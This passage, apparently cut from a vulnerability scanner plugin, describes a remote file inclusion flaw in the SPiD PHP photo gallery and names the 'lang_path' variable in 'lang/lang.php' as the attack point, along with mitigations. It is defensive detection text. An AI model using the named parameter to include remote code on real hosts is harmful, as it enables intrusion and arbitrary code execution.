remote file include issue." );

"The remote host is running SPiD, a free, PHP-based photo gallery. 

The installed version of SPiD allows remote attackers to control the
'lang_path' variable used when including PHP code in the
'lang/lang.php' script.  By leveraging this flaw, an attacker may be
able to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts." );

that 'allow_url_fopen' and 'register_globals' are disabled or upgrade
